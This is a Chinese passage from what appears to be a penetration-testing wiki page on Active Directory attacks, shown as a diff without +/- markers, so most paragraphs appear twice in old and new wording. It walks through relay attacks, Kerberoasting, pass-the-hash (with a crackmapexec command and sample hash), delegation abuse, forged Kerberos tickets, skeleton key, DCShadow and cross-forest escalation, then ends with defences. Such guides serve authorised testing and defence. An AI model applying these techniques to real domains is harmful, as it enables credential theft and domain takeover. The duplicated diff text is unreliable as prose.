### NTML 中继
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。
### 偷取 NTLM 凭证
@ -151,7 +151,7 @@ kerberos-double-hop-problem.md
### 枚举
成功妥协一个账户是 **开始妥协整个域的一个重要步**,因为你将能够开始 **活动目录枚举:**
成功妥协一个账户是 **开始妥协整个域的重要步**,因为你将能够开始 **活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
@ -162,7 +162,7 @@ kerberos-double-hop-problem.md
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -175,7 +175,7 @@ kerberos-double-hop-problem.md
### Kerberoast
Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
Kerberoasting 涉及获取 **TGS 票证**,这些票证由与用户账户相关的服务使用,并破解其加密——这基于用户密码——**离线**。
更多信息请参见:
@ -189,13 +189,13 @@ kerberoast.md
### 本地权限提升
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中LSASS和本地SAM转储其他用户的哈希**
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有在本地管理员权限下,你才能 **转储其他用户的哈希**(在内存中 LSASS 和本地 SAM
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
**不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
**不太可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 使用特权凭据/会话在 Active Directory 上进行特权提升
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
### 哈希提取
希望你已经成功**破坏了一些本地管理员**账户,使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\
然后,是时候转储内存和本地的所有哈希。\
然后,是时候在内存和本地转储所有哈希了。\
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 传递哈希
**一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\
你需要使用些**工具**来**执行**使用该**哈希的 NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
你需要使用些**工具**来**执行**使用该**哈希的 NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash)
### 超越传递哈希/传递密钥
### 超越哈希/传递密钥
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -270,40 +270,40 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 请注意,这非常**嘈杂**并且**LAPS**会**减轻**它
> 请注意,这非常**嘈杂**而且**LAPS**会**减轻**这种情况
### MSSQL 滥用与受信任链接
如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\
此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在其中执行命令。\
此外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在那里他可以执行命令。\
**数据库之间的链接甚至可以跨森林信任工作。**
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
### 不受限制的委派
### 不受限委托
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且你在该计算机上拥有域权限,你将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委托,你甚至可以**自动妥协打印服务器**(希望它是 DC
{{#ref}}
unconstrained-delegation.md
{{#endref}}
### 受限委
### 受限委
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户访问计算机上的某些服务**。\
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)访问某些服务。
如果用户或计算机被允许进行“受限委托”,它将能够**冒充任何用户访问计算机中的某些服务**。\
然后,如果你**妥协**了该用户/计算机的哈希,你将能够**冒充任何用户**(甚至是域管理员)访问某些服务。
{{#ref}}
constrained-delegation.md
{{#endref}}
### 基于资源的受限委
### 基于资源的受限委
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行:
{{#ref}}
resource-based-constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACL 滥用
被妥协的用户可能对某些域对象具有一些**有趣的权限**,这可能让您**横向移动**/**提升**权限。
被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让你**横向移动**/**提升**权限。
{{#ref}}
acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### 打印机后台处理程序服务滥用
发现域内**后台处理程序服务**可以被**滥用**以**获取新凭据**并**提升权限**。
发现域内**后台处理程序服务**的**监听**可以被**滥用**以**获取新凭据**并**提升权限**。
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### 第三方会话滥用
如果**其他用户****访问**被**妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
如果**其他用户****访问**了**被妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
通常用户会通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法:
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 仅限授权用户控制。拥有足够权限访问这些密码后,可以实现对其他计算机的转移
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 控制,仅限授权用户。拥有足够权限访问这些密码后,转向其他计算机变得可能
{{#ref}}
laps.md
@ -352,17 +352,17 @@ ad-certificates/certificate-theft.md
### 证书模板滥用
如果配置了**易受攻击的模板**则可以滥用它们以提升权限:
如果配置了**易受攻击的模板**可以利用它们来提升权限:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## 使用高权限账户的后期利用
## 高权限账户的后期利用
### 转储域凭据
一旦您获得**域管理员**或更好的**企业管理员**权限,您可以**转储**域数据库_ntds.dit_。
一旦你获得了**域管理员**或更好的**企业管理员**权限,你可以**转储**域数据库_ntds.dit_。
[**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### 权限提升作为持久性
之前讨论的一些技术可以用于持久性。\
例如,可以:
例如,可以:
- 使用户易受[**Kerberoast**](kerberoast.md)攻击
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### 银票
**银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
**银票攻击**为特定服务创建一个**合法的票据授予服务TGS票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
{{#ref}}
silver-ticket.md
@ -411,7 +411,7 @@ golden-ticket.md
### 钻石票
这些票据类似于金票,但伪造方式**绕过常见的金票检测机制**。
这些票据类似于金票,但伪造方式**绕过常见的金票检测机制**。
{{#ref}}
diamond-ticket.md
@ -419,7 +419,7 @@ diamond-ticket.md
### **证书账户持久性**
**拥有账户的证书或能够请求它们**是能够在用户账户中持久存在的非常好方法(即使他更改密码):
**拥有账户的证书或能够请求它们**是能够在用户账户中持久的非常好方法(即使他更改密码):
{{#ref}}
ad-certificates/account-persistence.md
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **证书域持久性**
**使用证书也可以在域内以高权限持久存在**
**使用证书也可以在域内以高权限持久**
{{#ref}}
ad-certificates/domain-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本是保护,但如果不加以监控,可能会适得其反,导致不当访问。
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本是为了保护,但如果不加以监控,可能会适得其反,导致不当访问。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL 持久性
可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
{{#ref}}
acl-persistence-abuse/
@ -457,15 +457,15 @@ acl-persistence-abuse/
### 安全描述符
**安全描述符**用于**存储**对象对另一个对象的**权限**。如果您只需对对象的**安全描述符**进行**小改动**,就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
**安全描述符**用于**存储**一个**对象**对另一个**对象**的**权限**。如果你只需对一个对象的**安全描述符**进行**小改动**就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
{{#ref}}
security-descriptors.md
{{#endref}}
### 骨架
### 骨架钥
在内存中更改**LSASS**以建立**通用密码**,授予对所有域账户的访问权限。
在内存中更改**LSASS**以建立一个**通用密码**,授予对所有域账户的访问权限。
{{#ref}}
skeleton-key.md
@ -474,7 +474,7 @@ skeleton-key.md
### 自定义 SSP
[了解什么是 SSP安全支持提供者在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。\\
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
{{#ref}}
custom-ssp.md
@ -482,8 +482,8 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。**需要 DA** 权限并在**根域**内。\
请注意,如果使用错误的数据,会出现相当丑陋的日志。
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。**需要 DA** 权限并在**根域**内。\
请注意,如果使用错误的数据,会出现相当丑陋的日志。
{{#ref}}
dcshadow.md
@ -491,7 +491,7 @@ dcshadow.md
### LAPS 持久性
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
检查:
{{#ref}}
@ -500,38 +500,38 @@ laps.md
## 森林权限提升 - 域信任
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
**步骤**
1. **域 1**中的**客户端计算机**使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**,以启动该过程
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端希望访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端希望访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。
### 不同的信任
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的。在最后一种情况下,**你只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;在**域 B**中,这将是**入站信任**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**在**域 B**中,这将是**入站信任**。
**不同的信任关系**
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些信任在不同的、不相关的域之间建立,且本质上是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过对外部信任进行 SID 过滤,安全性得到了增强。
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林中非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程得以缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些信任在不同的、不相关的域之间建立,且本质上是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过对外部信任进行 SID 过滤,安全性得增强。
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林中非常重要,使能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
@ -541,14 +541,14 @@ laps.md
### 攻击路径
1. **枚举**信任关系
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域关系**(信任可能是为此创建的)。
2. 检查是否有任何**安全主体**(用户/组/计算机)对**另一个域**的资源有**访问**权限,可能通过 ACE 条目或通过在另一个域的组中。寻找**跨域的关系**(信任可能是为此创建的)。
1. 在这种情况下kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**转移的**账户**。
3. **妥协**可以**跨域**进行**转移**的**账户**。
攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,方法的有效性取决于信任的性质和组的范围。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 子到父森林权限提升
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> 这里**2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 您可以使用以下命令查看当前域使用的密钥:
>
> ```bash
@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上**SYSTEM 权限**,最好是子 DC。
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上**SYSTEM 权限**,最好是子 DC。
**将 GPO 链接到根 DC 站点**
@ -592,7 +592,7 @@ sid-history-injection.md
**危害森林中的任何 gMSA**
一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。
一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。
详细分析可以在关于 [黄金 gMSA 信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 的讨论中找到。
@ -606,7 +606,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
有关更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者能够设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
有关此内容的更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者能够设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向(入站)或双向
```powershell
@ -647,7 +647,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@ -658,13 +658,13 @@ rdp-sessions-abuse.md
### **SID过滤**
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为森林信任是安全的,这是微软的立场。
- 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。
### **选择性认证:**
- 对于森林信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
- 对于森林信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
[**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -676,30 +676,30 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
## 一些通用防御
[**在这里了解更多关于如何保护凭据的信息。**](../stealing-credentials/credentials-protections.md)\\
[**在这里了解更多关于如何保护凭据的信息。**](../stealing-credentials/credentials-protections.md)
### **凭据保护的防御措施**
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务帐户权限**服务不应以域管理员DA权限运行以保持安全
- **服务账户权限**服务不应以域管理员DA权限运行以维护安全性
- **临时权限限制**对于需要DA权限的任务应限制其持续时间。这可以通过以下方式实现`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**
- 实施欺骗涉及设置陷阱,如诱饵用户或计算机,具有如不过期的密码或标记为受信任的委托等特征。详细的方法包括创建具有特定权限的用户或将其添加到高权限组。
- 一个实际的例子使用工具:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 一个实际的例子涉及使用工具:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 有关部署欺骗技术的更多信息,请访问[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)。
### **识别欺骗**
- **对于用户对象**:可疑指标包括不寻常的ObjectSID、稀少的登录、创建日期和低错误密码计数。
- **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
- **对于用户对象**:可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
- **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
### **绕过检测系统**
- **Microsoft ATA检测绕过**
- **用户枚举**避免在域控制器上进行会话枚举以防止ATA检测。
